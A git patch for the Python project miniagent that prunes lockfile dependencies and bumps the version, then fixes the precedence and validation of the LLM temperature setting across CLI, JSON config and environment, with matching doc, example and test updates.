"https://files.pythonhosted.org/packages/45/37/0544bc21dde2a88f3a17b504e6fc79c0e01d25a33c2f6079724e9e72b9c7/lxml-6.1.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:d49514be2f28d895c38cf9d2b72d7b9a07d00314519f456c0b50b53cfcf4c785", size = 5223987, upload-time = "2026-05-18T19:18:59.715Z" }, - { url = "https://files.pythonhosted.org/packages/4d/f8/f6a5e8185bcb28c2befae3d31f8e3df3b811cb0f47746517a81279fcafe1/lxml-6.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:47402e62c52ff5988c1e8c6c63177f5708bccf48e366dea4e3dcf1e645e04947", size = 5250276, upload-time = "2026-05-18T19:19:03.834Z" }, - { url = "https://files.pythonhosted.org/packages/c7/f2/1a2b9f1b7a49d45495369be7ef9ad05b262930f2eab3e3145706fca8083f/lxml-6.1.1-cp313-cp313-win32.whl", hash = "sha256:3483644525531e1d5762b0c44a8e18b6efba321b6dcf8a8952de10b037618bca", size = 3596903, upload-time = "2026-05-18T19:17:29.863Z" }, - { url = "https://files.pythonhosted.org/packages/e6/99/f4ffb024f238eec2131aaa09f3278fb6129cf892741bf68e1fc1afb8c100/lxml-6.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:a10bd2fd62e8ce916ececb342f348f190724a098c1faa056fdfb2a22ad5e8660", size = 3995869, upload-time = "2026-05-18T19:18:02.596Z" }, - { url = "https://files.pythonhosted.org/packages/d1/53/70eb8c5c6037f27448f1e3c54ebede9545a801ae63f0a7254afca4fe8e45/lxml-6.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:424aa57aca0897eb922aef34395bd1289b3b6f04e6bae20ea123c0c7e333cffc", size = 3658490, upload-time = "2026-05-19T19:22:53.846Z" }, - { url = "https://files.pythonhosted.org/packages/13/e2/2e325795566de01d0d7c3bb57d3c370616b2d07b01214e84eec5d3b10963/lxml-6.1.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:19b7ab10b210b0b3ad7985d9ac4eb66ab09a90b20fe6e2f7ba55d01a234345d0", size = 8577146, upload-time = "2026-05-18T19:18:17.765Z" }, - { url = "https://files.pythonhosted.org/packages/93/cf/5630b5e4be7d2e6bee8efe83865c925221103cf0221303b104ce134b01e2/lxml-6.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c08e5c694306507275f2290073350c4f32e383db15213b2c69e7ff39c1193840", size = 4623866, upload-time = "2026-05-18T19:18:30.669Z" }, - { url = "https://files.pythonhosted.org/packages/d2/51/3904907c063451cf8d4a5c9fe0cad95fa1f4ec57f4e3884fa0731bd7a305/lxml-6.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:74a9717fd0d82effef5c2854f0d917231d5324b5a3eb7275c43ac9fa32f97a14", size = 4950022, upload-time = "2026-05-18T19:19:31.958Z" }, - { url = "https://files.pythonhosted.org/packages/94/cd/9c7611a51c37a2830928405817cc5d56a97f64fab83cc3f628748b135749/lxml-6.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:efe0374196335f93b53269acd811b944f2e6bdc88e8894f214bd636455484909", size = 5086695, upload-time = "2026-05-18T19:19:34.764Z" }, - { url = "https://files.pythonhosted.org/packages/da/d6/24e3b5906abb0b674ff2ae195bc3ce59708df2bcd17cf17703b2d7dd643a/lxml-6.1.1-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac931cdc9442c1763b8a8f6cd62c0c938737eafc5be75eff88df55fc73bc0d00", size = 5031642, upload-time = "2026-05-18T19:19:37.771Z" }, - { url = "https://files.pythonhosted.org/packages/2d/db/6ec54f99019838bff54785c51da07f189eb4676861c5f2730962b0d8d665/lxml-6.1.1-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:aee395f5d0927f947758b4ec119fd5fc8ec71f07a1c5c52077b30b04c0fa6955", size = 5647338, upload-time = "2026-05-18T19:19:40.553Z" }, - { url = "https://files.pythonhosted.org/packages/42/3d/ef4dcfffd22d27a61805d8ed9f7fb888495bc6aa88648fa07c1eaa5586b6/lxml-6.1.1-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9395002973c827b3ed67db77e6ec09f092919a587022174554096a269378fb13", size = 5239528, upload-time = "2026-05-18T19:19:43.657Z" }, - { url = "https://files.pythonhosted.org/packages/62/bb/37fb3f0dff146bdcfa78eec47879273820b2a0bf350ec236ce14bd0b1c26/lxml-6.1.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:73bc2086f141224ebddb7fc5c6a36ca58b31b94b561e1dfe8e073e3270fad1e7", size = 5350730, upload-time = "2026-05-18T19:19:46.307Z" }, - { url = "https://files.pythonhosted.org/packages/90/42/43253f168388df4fae1f38c01df36ddb9bee39e2048167b54cdcbae85ea3/lxml-6.1.1-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3779def59032b81e44a5f70096ef6bf2082f8d901937dca354474ba09782e245", size = 4697530, upload-time = "2026-05-18T19:19:49.889Z" }, - { url = "https://files.pythonhosted.org/packages/eb/a8/c5a8504f81bbdfc8e7094c2c850cdb4ed6777fc4d5ddd9e5ab819f3b0d54/lxml-6.1.1-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:86c89b9d55ebf820ad7c90bc533410f0d098054f293351f10603c0c46ff598f5", size = 5250670, upload-time = "2026-05-18T19:19:53.199Z" }, - { url = "https://files.pythonhosted.org/packages/77/b7/c7e76ab18744d75e21f320ebf9ff9d1ceae2b54dd431ea5a64caf26c9672/lxml-6.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19607c6bbff2a44cf3fe8250abccd20942d3462473e0a721d01d379ed017e462", size = 5084485, upload-time = "2026-05-18T19:19:08.422Z" }, - { url = "https://files.pythonhosted.org/packages/31/31/b35c53f8ef7b7c31cacd23d3638652fff7bcd1deb6eedb709ab43b685908/lxml-6.1.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c6ed5141a5c7507cf3ee76bd363b0d6f801e3321adc35b5d825a23115faa5465", size = 4737635, upload-time = "2026-05-18T19:19:12.321Z" }, - { url = "https://files.pythonhosted.org/packages/d9/06/31f23c813a7fe8e0cb1b175e915b08c9bf4e86d225b210feadbdbe519667/lxml-6.1.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:62aeb7e85b5d60320b9d77eef2e773994e2c0ce10121b277e0a19804e1654a5a", size = 5670681, upload-time = "2026-05-18T19:19:15.001Z" }, - { url = "https://files.pythonhosted.org/packages/1a/bc/ce619bccc89b1fd9ad8a8e1330ee3f3beff9f2ff95b712d7bbcdd6e22fc3/lxml-6.1.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b1b963fd8f5caa68e99dfae060d54de1fe9cba899b8718b44a00cdca53c3e590", size = 5238229, upload-time = "2026-05-18T19:19:18.131Z" }, - { url = "https://files.pythonhosted.org/packages/2f/5d/b329acbbedc0b619ebc2be6cf7ee9ed07e80892c88d4dfd612c33805789a/lxml-6.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:63876be28efefa04a1df615b46770e82042cce445cfdce55160522f57b231ccb", size = 5264191, upload-time = "2026-05-18T19:19:21.118Z" }, - { url = "https://files.pythonhosted.org/packages/d6/85/be36fb1425b30db3c3f9df75fe86343ebffb79e6320bd7f588e25bfeac39/lxml-6.1.1-cp314-cp314-win32.whl", hash = "sha256:7f7a92e8583f06b1fd49d01158143b8461cfcd135dcb10ec807270a3051bd603", size = 3657202, upload-time = "2026-05-18T19:17:39.509Z" }, - { url = "https://files.pythonhosted.org/packages/b8/ce/3cf9a827342269f54d405a6202397de63f07c69cbd6ce7d183a3f0cba1e9/lxml-6.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:b2d444f2e66624d68e9c6b211e28a76e22fff5fcabcfff4deac18b529b7d4137", size = 4064497, upload-time = "2026-05-18T19:18:14.662Z" }, - { url = "https://files.pythonhosted.org/packages/d9/3e/1a957bde8f0760039e627f94699f82caa782c9d838d86c3d28245ee67212/lxml-6.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:3fd9728a2735fda14f4e8235830c86b539e9661e849665bf926d3f867943b4bf", size = 3741991, upload-time = "2026-05-19T19:22:59.111Z" }, - { url = "https://files.pythonhosted.org/packages/78/b2/00ed55b3a2efa4658fb795c38d1090ec9b3e8a6c3683d4441fa517f09c3b/lxml-6.1.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:787b2496d0dbe8cd180984e8d29e3a6f76e7ea34db781cb3bd55e4ba1ef8b4ee", size = 8827545, upload-time = "2026-05-18T19:18:41.193Z" }, - { url = "https://files.pythonhosted.org/packages/c0/73/74573db19baa618d5f266f2407898b087ff6927115b00b71e5fc1b700847/lxml-6.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:2c8daa471358dc2d6fcf02165e80ec68f77871a286df95bc5cc3816153b0fd2c", size = 4735736, upload-time = "2026-05-18T19:18:46.761Z" }, - { url = "https://files.pythonhosted.org/packages/16/02/6f7061f4f95f51e545d48e87647c54791d204a4e881be4156e7a26ba5338/lxml-6.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:acd7d70b64c0aae0c7922cca83d288a16f5f6da523637697872253415269baef", size = 4970291, upload-time = "2026-05-18T19:19:56.215Z" }, - { url = "https://files.pythonhosted.org/packages/b0/02/55fc057d8283427dea7d6edb102e7a840239c77a64a983d92f62a304c0e9/lxml-6.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4f0dd2f01f9f8a89f565d000e03abcf0a13d692a346c8d22f628d49af098777a", size = 5102822, upload-time = "2026-05-18T19:19:59.223Z" }, - { url = "https://files.pythonhosted.org/packages/e4/48/8e1cf78d89d66850121d9255a2a24414c98f775da93b90cf976956c24b14/lxml-6.1.1-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0b7e8a14c8634bf6f7a568634cb395305a6d964aeb5b7ee32248094bed3a7e2c", size = 5027923, upload-time = "2026-05-18T19:20:01.549Z" }, - { url = "https://files.pythonhosted.org/packages/ed/00/0632a0647612c8af24d26997b3b961397daa9d5b2581444805933629a4cb/lxml-6.1.1-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:86281fbdd6a8162756f8d603f37e3435bfa38043adb79c6dc6a2dfee065e7525", size = 5595843, upload-time = "2026-05-18T19:20:03.93Z" }, - { url = "https://files.pythonhosted.org/packages/bc/86/ab008a7dc360711b66858d61c80a5979a70a09f2aa2b05d9698df80b803d/lxml-6.1.1-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5d7152ec39ca7c402d8fb9bad86140a15b9503bd0c54484e3f1bbe3dd37ceca", size = 5224515, upload-time = "2026-05-18T19:20:06.381Z" }, - { url = "https://files.pythonhosted.org/packages/75/c6/2702ff375e728e34f56d9a45339a9cf7e4427e917f542225242d63a05afa/lxml-6.1.1-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:88d8cb75b9d82858497a5393e3c63cfbf03035225e4b35a49ed7ccb151e4dc0e", size = 5312511, upload-time = "2026-05-18T19:20:09.308Z" }, - { url = "https://files.pythonhosted.org/packages/b7/57/a5807c98f87a86f10ef9ffab35516df7c0f0c4b6d5d33e9f608ab9c04a31/lxml-6.1.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f64ec5397ea6a41fc1b4af0380d79b44a755b5531dcaccd9940fb260dca93038", size = 4639206, upload-time = "2026-05-18T19:20:11.704Z" }, - { url = "https://files.pythonhosted.org/packages/1f/e1/8a0a2c35734812395f4da4eaf33748a7e5705bfb2a58b128da764339d5ec/lxml-6.1.1-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d34bbf07dbc7ca5970671b1512e928991fb5e9d95365636c9b2d8b4f53af405e", size = 5232404, upload-time = "2026-05-18T19:20:14.064Z" }, - { url = "https://files.pythonhosted.org/packages/c2/e2/0e6a4dd5ad84d01d99aa7bae7cfefd4a760a0e0f8176818241de17d9b6c0/lxml-6.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:17e0e18d4ad8adbd0399291bc44845b69d9dd68439a3cdebdf35ff902ec05072", size = 5083769, upload-time = "2026-05-18T19:19:23.758Z" }, - { url = "https://files.pythonhosted.org/packages/a0/7e/161f33d463f6ffc1c7679104b65086dea120080d49dde4d238f015aaee2f/lxml-6.1.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:3ab541146f1f6968c462d6c2ac495148e8cdba2f8347700b2141b6ec5a75bf52", size = 4758936, upload-time = "2026-05-18T19:19:27.256Z" }, - { url = "https://files.pythonhosted.org/packages/f1/fb/2369825e3f6ca99305bf9f7b7085fda91c8b0922a89e54d900974aa3ef85/lxml-6.1.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2a0217714657e023ef4293500f65aa20fce6164c8fd6b08fa5bd4a859fb14b9b", size = 5620296, upload-time = "2026-05-18T19:19:29.993Z" }, - { url = "https://files.pythonhosted.org/packages/30/90/d61e383146f74c5ab683947ea14dc7b82778838ab9b95ea73a23b60d0191/lxml-6.1.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:05a82eb6e1530a64f26225b55cbd178113bd0b5af1c2b625f25e5296742c26d2", size = 5228598, upload-time = "2026-05-18T19:19:33.523Z" }, - { url = "https://files.pythonhosted.org/packages/76/2d/2dafd8149e94b05bb070690efd5bb2680720681e03ff03fc57d2b70a1105/lxml-6.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9e36f163528fc50cbef305f02a5fd66d404edf7049cdaff211dbc2cba5a7013e", size = 5247845, upload-time = "2026-05-18T19:19:36.649Z" }, - { url = "https://files.pythonhosted.org/packages/ce/68/b30e913340c380ddac9580c6e6230991fc37240ec4f64704833e4f3e2769/lxml-6.1.1-cp314-cp314t-win32.whl", hash = "sha256:649dda677cf3bd6ac9ae14007ba0c824ded8ce5808b53fc7431d9140399118c1", size = 3897345, upload-time = "2026-05-18T19:17:33.562Z" }, - { url = "https://files.pythonhosted.org/packages/3c/4e/9eb2af5335545f9fbcd7af57bcf87c6025d31eaa31b14ec184a6c8675328/lxml-6.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:793033d6c5cdf33a573f910d9bea14ef8f5771820411d118da8e1182edb53d5e", size = 4393350, upload-time = "2026-05-18T19:18:10.076Z" }, - { url = "https://files.pythonhosted.org/packages/7f/2c/0f1e93c636720e8a3eb59af2bfda99d98b55891e1c53bc30c2e0e865f01b/lxml-6.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:58bb955caba94e467d2a96da17660d2d704e0675894cba21ab8a775b8621fd1c", size = 3817223, upload-time = "2026-05-19T19:22:56.823Z" }, - { url = "https://files.pythonhosted.org/packages/b5/32/86a3f0f724a3a402d4627937a7fc27b160e45e7012b4adf47f6e1e844511/lxml-6.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:31033dc34636ea6b7d5cc11b1ddbda78a14de858ba9d3e1ed4b69a3085bc521e", size = 3930127, upload-time = "2026-05-18T19:19:02.27Z" }, - { url = "https://files.pythonhosted.org/packages/40/44/d832e82af08723761556d004b1d04d281c09f9a8cecd7d3148548c9941a3/lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3893c14c4b6ac5b2d54ba8cf03e99fe5104e592de491f19bd6b82756c09f8004", size = 4210769, upload-time = "2026-05-18T19:20:41.427Z" }, - { url = "https://files.pythonhosted.org/packages/6d/39/0dc5949f759ed7d951e0bb8c2f2d9d7aca1908d22352fa84a8afd2ea54af/lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c07da4cebf6889f03ebac8d238f62318e29f495de0aa18a51ea14e61ae907e2e", size = 4318163, upload-time = "2026-05-18T19:20:44.702Z" }, - { url = "https://files.pythonhosted.org/packages/e6/fb/8ab3845fe046ba4cbf74536bcf6801a774b7caf4350de1c5d37f1f0a9e90/lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f6f0ce10945fab9c4c06ce14e22af9059d1a87493a9af4501a5b0b9187e21cf2", size = 4250945, upload-time = "2026-05-18T19:20:47.385Z" }, - { url = "https://files.pythonhosted.org/packages/68/1b/7553ab136894374ffae8851ec06f98f511cd8e66246e41b6be059d0a7289/lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f8844cd288697c6425c9beba919302241e3278871dc6519515e72b04e987abcf", size = 4401664, upload-time = "2026-05-18T19:20:50.489Z" }, - { url = "https://files.pythonhosted.org/packages/db/a4/441aee36c6f6b249823d20fd91f9be9ab89d7c5a8ae542a4a4ca6d342d56/lxml-6.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ed21202aec73cda4d55d1ce57b389aadb90ffb044e6cd1080b8347efe1b1ec84", size = 3508989, upload-time = "2026-05-18T19:18:38.158Z" }, -] - [[package]] name = "markdown-it-py" version = "4.2.0" @@ -894,15 +792,13 @@ wheels = [ [[package]] name = "miniagent" -version = "0.2.0a1" +version = "0.3.0a1" source = { editable = "." } dependencies = [ { name = "any-llm-sdk" }, { name = "jsonschema" }, - { name = "openai" }, { name = "python-dotenv" }, { name = "rich" }, - { name = "tenacity" }, ] [package.optional-dependencies] @@ -910,15 +806,8 @@ credentials = [ { name = "keyring" }, ] dev = [ - { name = "pytest" }, -] -docx = [ - { name = "python-docx" }, -] -legacy = [ - { name = "distro" }, { name = "psutil" }, - { name = "requests" }, + { name = "pytest" }, ] mcp = [ { name = "mcp" }, @@ -927,6 +816,7 @@ mcp = [ [package.dev-dependencies] dev = [ { name = "pip-audit" }, + { name = "psutil" }, { name = "pytest" }, { name = "ruff" }, ] @@ -934,24 +824,20 @@ dev = [ [package.metadata] requires-dist = [ { name = "any-llm-sdk", specifier = "==1.33.0" }, - { name = "distro", marker = "extra == 'legacy'", specifier = ">=1.8.0" }, { name = "jsonschema", specifier = ">=4.20,<5" }, { name = "keyring", marker = "extra == 'credentials'", specifier = ">=25,<26" }, { name = "mcp", marker = "extra == 'mcp'", specifier = "==2.3.0" }, - { name = "openai", specifier = ">=1.0.0" }, - { name = "psutil", marker = "extra == 'legacy'", specifier = ">=5.9.0" }, + { name = "psutil", marker = "extra == 'dev'", specifier = ">=5.9,<8" }, { name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.3,<10" }, - { name = "python-docx", marker = "extra == 'docx'", specifier = ">=0.8.11" }, { name = "python-dotenv", specifier = ">=0.19.0" }, - { name = "requests", marker = "extra == 'legacy'", specifier = ">=2.31.0" }, { name = "rich", specifier = ">=13.0.0" }, - { name = "tenacity", specifier = ">=8.0.0" }, ] -provides-extras = ["legacy", "mcp", "credentials", "docx", "dev"] +provides-extras = ["mcp", "credentials", "dev"] [package.metadata.requires-dev] dev = [ { name = "pip-audit", specifier = "==2.10.1" }, + { name = "psutil", specifier = ">=5.9,<8" }, { name = "pytest", specifier = ">=9.0.3,<10" }, { name = "ruff", specifier = "==0.17.0" }, ] @@ -1401,19 +1287,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" }, ] -[[package]] -name = "python-docx" -version = "1.2.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "lxml" }, - { name = "typing-extensions" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/a9/f7/eddfe33871520adab45aaa1a71f0402a2252050c14c7e3009446c8f4701c/python_docx-1.2.0.tar.gz", hash = "sha256:7bc9d7b7d8a69c9c02ca09216118c86552704edc23bac179283f2e38f86220ce", size = 5723256, upload-time = "2025-06-16T20:46:27.921Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/d0/00/1e03a4989fa5795da308cd774f05b704ace555a70f9bf9d3be057b680bcf/python_docx-1.2.0-py3-none-any.whl", hash = "sha256:3fd478f3250fbbbfd3b94fe1e985955737c145627498896a8a6bf81f4baf66c7", size = 252987, upload-time = "2025-06-16T20:46:22.506Z" }, -] - [[package]] name = "python-dotenv" version = "1.2.2" @@ -1722,15 +1595,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/4e/d6/1ec1b290f9e0fb067899b61e1d37a30c923068bad260b216dbe37a7d2967/starlette-1.7.0-py3-none-any.whl", hash = "sha256:67f8e99895493dd2911a03f11314af6ceebeae4e704bb9f43dfc6a9db151c93e", size = 78980, upload-time = "2026-09-23T07:30:24.567Z" }, ] -[[package]] -name = "tenacity" -version = "9.1.4" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/47/c6/ee486fd809e357697ee8a44d3d69222b344920433d3b6666ccd9b374630c/tenacity-9.1.4.tar.gz", hash = "sha256:adb31d4c263f2bd041081ab33b498309a57c77f9acf2db65aadf0898179cf93a", size = 49413, upload-time = "2026-02-07T10:45:33.841Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/d7/c1/eb8f9debc45d3b7918a32ab756658a0904732f75e555402972246b0b8e71/tenacity-9.1.4-py3-none-any.whl", hash = "sha256:6095a360c919085f28c6527de529e76a06ad89b23659fa881ae0649b867a9d55", size = 28926, upload-time = "2026-02-07T10:45:32.24Z" }, -] - [[package]] name = "tomli" version = "2.5.0" From 9938d0bb71c1879f9c949f7c483d88501868d965 Mon Sep 17 00:00:00 2001 From: ZhuLinsen Date: Sun, 18 Oct 2026 20:34:55 +0800 Subject: [PATCH 2/3] fix: execute documented tools and validate effective temperature --- .env.example | 2 ++ docs/lean-harness.md | 13 ++++++++--- examples/custom_tools_example.py | 2 +- miniagent/cli_runtime.py | 13 ++++++----- miniagent/config.py | 22 +++++++++++++------ tests/test_cli_runtime.py | 10 +++++++++ tests/test_config.py | 37 +++++++++++++++++++++++++++++++- tests/test_examples.py | 21 ++++++++++++++++++ 8 files changed, 104 insertions(+), 16 deletions(-) diff --git a/.env.example b/.env.example index 28fc6ed..500bc6a 100644 --- a/.env.example +++ b/.env.example @@ -10,6 +10,8 @@ LLM_MODEL= # Existing configuration (JSON can override temperature / context_budget). # LLM_TEMPERATURE=0.7 +# Temperature precedence: --temperature > JSON llm.temperature > environment > 0.7. +# Empty environment is unset; only the effective value is validated. JSON null uses the provider default. # MINIAGENT_CONTEXT_BUDGET=32768 # MINIAGENT_HOME=~/.miniagent # MINIAGENT_STREAM=1 diff --git a/docs/lean-harness.md b/docs/lean-harness.md index 6f15f52..2f3649e 100644 --- a/docs/lean-harness.md +++ b/docs/lean-harness.md @@ -30,12 +30,16 @@ from miniagent import Plugin, Tool def arithmetic(ctx): ctx.tool(Tool("add_one", "Add one", {"type": "object", "properties": {"n": {"type": "integer"}}, "required": ["n"]}, - lambda n: n + 1, access="read")) + lambda n, path: n + 1, access="read")) ctx.cleanup(lambda: print("arithmetic closed")) app.use(Plugin("arithmetic", arithmetic)) ``` +Policy supplies a resolved `path` argument to every `read`/`write` executor. +This arithmetic tool accepts that argument and ignores it; it can run under +`readonly` without changing the Policy interface. + `ctx.service(name, value)`, `ctx.get(name)`, `ctx.on(event, callback)` and `ctx.cleanup(callback)` share the plugin's Scope. Registrations unwind on unload; partial startup rolls back. Tools belong to the instance Registry, not an import @@ -67,8 +71,11 @@ evidence of model/tool compatibility. See [connections and vault behavior](model Native JSON accepts llm, providers, mcp_servers, system_prompt and context_budget. The llm section accepts model, api_key, api_base and temperature. Unsupported -settings fail with migration guidance. `LLM_TEMPERATURE` is supported; JSON can -override it. Shell/output limits stay environment settings in `.env.example`. +settings fail with migration guidance. Temperature precedence is CLI +`--temperature` > JSON `llm.temperature` > `LLM_TEMPERATURE` > 0.7. An empty +environment value is unset; only the effective value is validated as a finite +number. JSON `null` leaves the provider default unchanged. Shell/output limits +stay environment settings in `.env.example`. Python >=3.11; any-llm-sdk 1.33.0. Native adapters retain SDK retry behavior; custom compatible endpoints disable retries. Tools and interrupted streams are diff --git a/examples/custom_tools_example.py b/examples/custom_tools_example.py index 88871f2..6bd7589 100644 --- a/examples/custom_tools_example.py +++ b/examples/custom_tools_example.py @@ -7,7 +7,7 @@ def calculator(ctx): ctx.tool(Tool("add_one", "Add one to an integer", { "type": "object", "properties": {"n": {"type": "integer"}}, "required": ["n"]}, - lambda n: n + 1, access="read")) + lambda n, path: n + 1, access="read")) ctx.cleanup(lambda: print("Calculator plugin closed")) diff --git a/miniagent/cli_runtime.py b/miniagent/cli_runtime.py index c9afd24..1c9eb61 100644 --- a/miniagent/cli_runtime.py +++ b/miniagent/cli_runtime.py @@ -27,7 +27,8 @@ def new_session(): async def cli_run(args, *, console=None, backend=None): console = console or Console() try: - cfg = load_config(args.config, model_override=args.model, base_override=args.base_url) + cfg = load_config(args.config, model_override=args.model, base_override=args.base_url, + temperature_override=args.temperature) except ValueError as error: console.print(Text(f"Configuration error: {error}", style="red")) return 2 @@ -45,7 +46,8 @@ async def cli_run(args, *, console=None, backend=None): model = await connect(console, cfg) if explicit_connect: return 0 - cfg = load_config(args.config, model_override=model, base_override=args.base_url) + cfg = load_config(args.config, model_override=model, base_override=args.base_url, + temperature_override=args.temperature) except (EOFError, KeyboardInterrupt): return 130 except Exception as error: @@ -65,7 +67,7 @@ def approve(name, arguments): return False app = Harness(backend, model=None if backend else model, providers=cfg.providers, api_key=args.api_key or cfg.llm.api_key, base_url=args.base_url or cfg.llm.api_base, - temperature=args.temperature if args.temperature is not None else cfg.llm.temperature, + temperature=cfg.llm.temperature, policy=Policy(args.workspace, mode=args.policy, approve=approve, allow_sensitive_files=getattr(args, "allow_sensitive_files", False)), session=Session(args.session) if args.session else new_session(), @@ -115,10 +117,11 @@ async def ask(query): console.print(Markdown(answer) if console.is_terminal else Text(answer)) async def switch_model(next_model): nonlocal model, cfg - next_cfg = load_config(args.config, model_override=next_model, base_override=args.base_url) + next_cfg = load_config(args.config, model_override=next_model, base_override=args.base_url, + temperature_override=args.temperature) candidate = LLMBackend(next_model, providers=next_cfg.providers, api_key=args.api_key or next_cfg.llm.api_key, base_url=next_cfg.llm.api_base, - temperature=args.temperature if args.temperature is not None else next_cfg.llm.temperature) + temperature=next_cfg.llm.temperature) try: if "llm" in app.plugins: await app.unuse("llm") diff --git a/miniagent/config.py b/miniagent/config.py index f3a1649..5516297 100644 --- a/miniagent/config.py +++ b/miniagent/config.py @@ -4,6 +4,7 @@ import os import json +import math from typing import Dict, Any, Optional from dataclasses import dataclass, field, fields from .connections import credential, read_profiles @@ -26,7 +27,7 @@ class LLMConfig: model: str = "" api_key: Optional[str] = None api_base: Optional[str] = None - temperature: float = 0.7 + temperature: Optional[float] = 0.7 @dataclass class AgentConfig: @@ -38,7 +39,8 @@ class AgentConfig: mcp_servers: Dict[str, Any] = field(default_factory=dict) context_budget: int = 32768 # MINIAGENT_CONTEXT_BUDGET: conservative token budget -def load_config(config_path: Optional[str] = None, *, model_override=None, base_override=None) -> AgentConfig: +def load_config(config_path: Optional[str] = None, *, model_override=None, base_override=None, + temperature_override=None) -> AgentConfig: """ Load configuration from file @@ -65,10 +67,7 @@ def load_config(config_path: Optional[str] = None, *, model_override=None, base_ "azure": ("AZURE_OPENAI_API_KEY", "AZURE_OPENAI_ENDPOINT"), } - try: - config.llm.temperature = float(os.environ.get("LLM_TEMPERATURE", "0.7")) - except ValueError: - raise ValueError("LLM_TEMPERATURE must be a number") from None + config.llm.temperature = os.environ.get("LLM_TEMPERATURE") or config.llm.temperature # Load tool execution limits from environment def _safe_int(key: str, default: int) -> int: @@ -88,6 +87,17 @@ def _safe_int(key: str, default: int) -> int: if not isinstance(config.providers, dict) or not isinstance(config.mcp_servers, dict): raise ValueError("providers and mcp_servers must be JSON objects") config.providers = {**profile["providers"], **config.providers} + if temperature_override is not None: + config.llm.temperature = temperature_override + if config.llm.temperature is not None: + try: + if isinstance(config.llm.temperature, bool): + raise ValueError + config.llm.temperature = float(config.llm.temperature) + if not math.isfinite(config.llm.temperature): + raise ValueError + except (TypeError, ValueError): + raise ValueError("Effective temperature must be a finite number (LLM_TEMPERATURE, llm.temperature or --temperature)") from None if model_override is not None: config.llm.model = model_override if base_override is not None: diff --git a/tests/test_cli_runtime.py b/tests/test_cli_runtime.py index 7513cec..8e64f05 100644 --- a/tests/test_cli_runtime.py +++ b/tests/test_cli_runtime.py @@ -39,6 +39,16 @@ def test_stream_does_not_duplicate_final_answer(tmp_path): assert output.getvalue().count("literal text") == 1 +def test_cli_temperature_override_ignores_invalid_lower_priority_config(tmp_path, monkeypatch): + monkeypatch.setenv("LLM_TEMPERATURE", "invalid") + config = tmp_path / "config.json" + config.write_text('{"llm":{"temperature":"invalid"}}') + output = io.StringIO() + args = options(tmp_path, config=str(config), temperature=0.25) + assert asyncio.run(cli_run(args, console=Console(file=output), backend=Backend())) == 0 + assert "literal text" in output.getvalue() + + def test_repl_session_resume_and_commands(tmp_path, monkeypatch): import sys monkeypatch.setattr(sys, "stdin", 